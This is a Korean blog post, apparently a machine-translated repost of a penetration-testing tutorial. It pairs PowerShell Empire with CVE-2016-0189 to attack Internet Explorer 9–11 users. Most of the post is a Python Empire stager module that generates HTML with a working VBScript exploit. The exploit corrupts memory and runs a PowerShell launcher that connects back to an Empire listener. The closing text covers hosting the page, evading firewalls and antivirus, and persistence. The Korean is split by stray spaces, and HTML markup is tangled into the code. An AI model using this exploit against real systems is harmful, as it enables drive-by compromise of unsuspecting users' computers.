POWERSHELL EMPIRE + CVE-2016-0189 = PROFIT

33594 단어 침투 테스트
Powershell Empire 는 타 겟 사용자 에 게 침투 할 때 항상 좋아 하 는 도구 중 하나 입 니 다.비록 저 희 는 Metaspolit 과 Empire 로 작업 을 수행 하고 브 라 우 저 구멍 과 경험 을 Empire 에 결합 시 킵 니 다.최근 테스트 에서 우 리 는 MSF 를 사용 하 는 것 을 선택 하지 않 았 다.반대로 우 리 는 새로운'경험 이 풍부 한'Empire 와 함께 CVE-2016-0189(즉 vbscruptgodmode)IE9-11 사용 자 를 공격 합 니 다.엠 파이 어 는 최근 6 개 월 동안 우리 가 가장 선 호 하 는 사용 으로 최근 구멍 공구 상 자 를 만 들 기 시작 했다.성공 하면 powershell 은 로그 인하 여 하나의 프 록 시 를 통 해 Empire 로 연 결 됩 니 다.중요 한 것 은 하 드 디스크 에 아무런 정보 도 남기 지 않 는 다 는 것 이다.
from lib.common import helpers

class Stager:

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'MS16-051 IE RCE',

            'Author': ['www.cgsec.co.uk'],

            'Description': ('Leverages MS16-051 to execute powershell in unpatched browsers. This is a file-less vector which works on IE9/10/11 and all versions of Windows'),

            'Comments': [
                'Target will have to open link with vulnerable version of IE.'
            ]
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener' : {
                'Description'   :   'Listener to generate stager for.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'StagerRetries' : {
                'Description'   :   'Times for the stager to retry connecting.',
                'Required'      :   False,
                'Value'         :   '0'
            },
            'OutFile' : {
                'Description'   :   'File to output HTML to, otherwise displayed on the screen.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Base64' : {
                'Description'   :   'Switch. Base64 encode the powershell output.',
                'Required'      :   True,
                'Value'         :   'True'
            },            
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value


    def generate(self):

        # extract all of our options
        listenerName = self.options['Listener']['Value']
        base64 = self.options['Base64']['Value']
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']
        stagerRetries = self.options['StagerRetries']['Value']

        encode = False
        if base64.lower() == "true":
            encode = True

        # generate the launcher code
        launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)

        if launcher == "":
            print helpers.color("[!] Error in launcher command generation.")
            return ""
        else:
			code =  "
"
code += "
"
code += "
"
code += "
"
code += "
"
code += "
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim aw
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim plunge(32)
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim y(32)
"</span> code <span class="token operator">+=</span> <span class="token string">" prefix = \"%u4141%u4141\"
"</span> code <span class="token operator">+=</span> <span class="token string">" d = prefix & \"%u0016%u4141%u4141%u4141%u4242%u4242\"
"</span> code <span class="token operator">+=</span> <span class="token string">" b = String(64000, \"D\")
"</span> code <span class="token operator">+=</span> <span class="token string">" c = d & b
"</span> code <span class="token operator">+=</span> <span class="token string">" x = UnEscape(c)
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Class ArrayWrapper
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim A()
"</span> code <span class="token operator">+=</span> <span class="token string">" Private Sub Class_Initialize
"</span> code <span class="token operator">+=</span> <span class="token string">" ReDim Preserve A(1, 2000)
"</span> code <span class="token operator">+=</span> <span class="token string">" End Sub
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Public Sub Resize()
"</span> code <span class="token operator">+=</span> <span class="token string">" ReDim Preserve A(1, 1)
"</span> code <span class="token operator">+=</span> <span class="token string">" End Sub
"</span> code <span class="token operator">+=</span> <span class="token string">" End Class
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Class Dummy
"</span> code <span class="token operator">+=</span> <span class="token string">" End Class
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Function getAddr (arg1, s)
"</span> code <span class="token operator">+=</span> <span class="token string">" aw = Null
"</span> code <span class="token operator">+=</span> <span class="token string">" Set aw = New ArrayWrapper
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" For i = 0 To 32
"</span> code <span class="token operator">+=</span> <span class="token string">" Set plunge(i) = s
"</span> code <span class="token operator">+=</span> <span class="token string">" Next
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Set aw.A(arg1, 2) = s
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim addr
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim i
"</span> code <span class="token operator">+=</span> <span class="token string">" For i = 0 To 31
"</span> code <span class="token operator">+=</span> <span class="token string">" If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
"</span> code <span class="token operator">+=</span> <span class="token string">" addr = strToInt(Mid(y(i), 3 + 4, 2))
"</span> code <span class="token operator">+=</span> <span class="token string">" End If
"</span> code <span class="token operator">+=</span> <span class="token string">" y(i) = Null
"</span> code <span class="token operator">+=</span> <span class="token string">" Next
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" If addr = Null Then
"</span> code <span class="token operator">+=</span> <span class="token string">" document.location.href = document.location.href
"</span> code <span class="token operator">+=</span> <span class="token string">" Return
"</span> code <span class="token operator">+=</span> <span class="token string">" End If
"</span> code <span class="token operator">+=</span> <span class="token string">" getAddr = addr
"</span> code <span class="token operator">+=</span> <span class="token string">" End Function
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Function leakMem (arg1, addr)
"</span> code <span class="token operator">+=</span> <span class="token string">" d = prefix & \"%u0008%u4141%u4141%u4141\"
"</span> code <span class="token operator">+=</span> <span class="token string">" c = d & intToStr(addr) & b
"</span> code <span class="token operator">+=</span> <span class="token string">" x = UnEscape(c)
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" aw = Null
"</span> code <span class="token operator">+=</span> <span class="token string">" Set aw = New ArrayWrapper
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim o
"</span> code <span class="token operator">+=</span> <span class="token string">" o = aw.A(arg1, 2)
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" leakMem = o
"</span> code <span class="token operator">+=</span> <span class="token string">" End Function
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Sub overwrite (arg1, addr)
"</span> code <span class="token operator">+=</span> <span class="token string">" d = prefix & \"%u400C%u0000%u0000%u0000\"
"</span> code <span class="token operator">+=</span> <span class="token string">" c = d & intToStr(addr) & b
"</span> code <span class="token operator">+=</span> <span class="token string">" x = UnEscape(c)
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" aw = Null
"</span> code <span class="token operator">+=</span> <span class="token string">" Set aw = New ArrayWrapper
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" aw.A(arg1, 2) = CSng(0)
"</span> code <span class="token operator">+=</span> <span class="token string">" End Sub
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Function exploit (arg1)
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim addr
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim csession
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim olescript
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim mem
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Set dm = New Dummy
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" addr = getAddr(arg1, dm)
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" mem = leakMem(arg1, addr + 8)
"</span> code <span class="token operator">+=</span> <span class="token string">" csession = strToInt(Mid(mem, 3, 2))
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" mem = leakMem(arg1, csession + 4)
"</span> code <span class="token operator">+=</span> <span class="token string">" olescript = strToInt(Mid(mem, 1, 2))
"</span> code <span class="token operator">+=</span> <span class="token string">" overwrite arg1, olescript + &H174
"</span> code <span class="token operator">+=</span> <span class="token string">" Set Object = CreateObject(\"Wscript.Shell\")
"</span> code <span class="token operator">+=</span> <span class="token string">" Object.run(\""</span> code <span class="token operator">+=</span> launcher <span class="token operator">+</span> <span class="token string">"\")
"</span> code <span class="token operator">+=</span> <span class="token string">" End Function
"</span> code <span class="token operator">+=</span> <span class="token string">"
"</span> code <span class="token operator">+=</span> <span class="token string">" Function triggerBug
"</span> code <span class="token operator">+=</span> <span class="token string">" aw.Resize()
"</span> code <span class="token operator">+=</span> <span class="token string">" Dim i
"</span> code <span class="token operator">+=</span> <span class="token string">" For i = 0 To 32
"</span> code <span class="token operator">+=</span> <span class="token string">" ' 24000x2 + 6 = 48006 bytes
"</span> code <span class="token operator">+=</span> <span class="token string">" y(i) = Mid(x, 1, 24000)
"</span> code <span class="token operator">+=</span> <span class="token string">" Next
"</span> code <span class="token operator">+=</span> <span class="token string">" End Function
"</span> code <span class="token operator">+=</span> <span class="token string">"

"
code += "
"
code += "
"</span> code <span class="token operator">+=</span> <span class="token string">" function strToInt(s)
"</span> code <span class="token operator">+=</span> <span class="token string">" {
"</span> code <span class="token operator">+=</span> <span class="token string">" return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
"</span> code <span class="token operator">+=</span> <span class="token string">" }
"</span> code <span class="token operator">+=</span> <span class="token string">" function intToStr(x)
"</span> code <span class="token operator">+=</span> <span class="token string">" {
"</span> code <span class="token operator">+=</span> <span class="token string">" return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
"</span> code <span class="token operator">+=</span> <span class="token string">" }
"</span> code <span class="token operator">+=</span> <span class="token string">" var o;
"</span> code <span class="token operator">+=</span> <span class="token string">" o = {\"valueOf\": function () {
"</span> code <span class="token operator">+=</span> <span class="token string">" triggerBug();
"</span> code <span class="token operator">+=</span> <span class="token string">" return 1;
"</span> code <span class="token operator">+=</span> <span class="token string">" }};
"</span> code <span class="token operator">+=</span> <span class="token string">" setTimeout(function() {exploit(o);}, 50);
"</span> code <span class="token operator">+=</span> <span class="token string">"

"
code += "
"
code += "" return code

ms16.py 우선 Github 에서 Empire 를 얻 을 수 있 습 니 다.
현재 Empire 를 다운로드 하 였 습 니 다.색인 페이지 를/var/www/html 경로 에 직접 놓 을 수 있 도록 apache 2 를 설치 해 야 합 니 다.이 단 계 는 대부분의 사람들 이 수출 위 치 를 바 꾸 고 백신 엔진 이나 유사 한 제품 을 피하 기 위해 모호 하 게 하려 고 하기 때문에 선택 할 수 있다.
이제 우리 의 새로운 규칙 을 추가 해 야 한다.스 크 립 트 를/lib/stagers 에 두 고 Empire 의 install.sh 스 크 립 트 를 실행 하여 추가 하고 실행 해 야 합 니 다.Ubuntu 환경 에서 실행 된다 면 이 스 크 립 트 를 실행 하기 전에 pip 를 설치 해 야 할 수도 있 습 니 다.
이제 우 리 는 처음으로 엠 파이 어 를 시작 할 준비 가 되 어 있다.모든 것 이 잘 되면 우리 가 추가 한 ms 16 스 크 립 트 를 사용 하여 출력 파일 을/var/www/html/index.html 로 설정 하고 직접 목 표를 설정 할 수 있 습 니 다.더 고 급 스 러 운 사용 자 는 서비스 에 약간 복잡 한 것 을 설정 하여 서로 다른 고객 이나 서로 다른 벡터 를 이용 하여 사람들의 이목 을 헷 갈 리 게 하려 고 할 수도 있다.이런 것들 은 본 고 에서 설명 하고 자 하 는 범 위 를 넘 어 섰 다.
저 는 개인 적 으로 443 포트 의 감청 을 설정 하여 by pass 의 방화벽 을 설치 하고 검 측 체 제 를 피 하 는 것 을 선 호 합 니 다.
이제 저희 의 악의 적 인 HTML 을 만들어 보도 록 하 겠 습 니 다.
현재 서비스 가 관련 구멍 이 있 는 브 라 우 저 를 사용 하 는 사용자 에 게 탐색 되 었 을 때 이 공격 부하 가 트리거 되 는 동시에 새로운 프 록 시 를 Empire 에서 볼 수 있 습 니 다.지구 성 모듈 을 사용 하여 작업 을 만 드 는 것 은 좋 은 주의 입 니 다.비슷 한 것 도 다시 시작 해서 권한 을 잃 지 않도록 할 수 있 습 니 다.자동 으로 실행 되 는 프 록 시 를 설정 하여 새로운 클 라 이언 트 연결 을 자동 으로 실행 하도록 설정 할 수 있 습 니 다.

좋은 웹페이지 즐겨찾기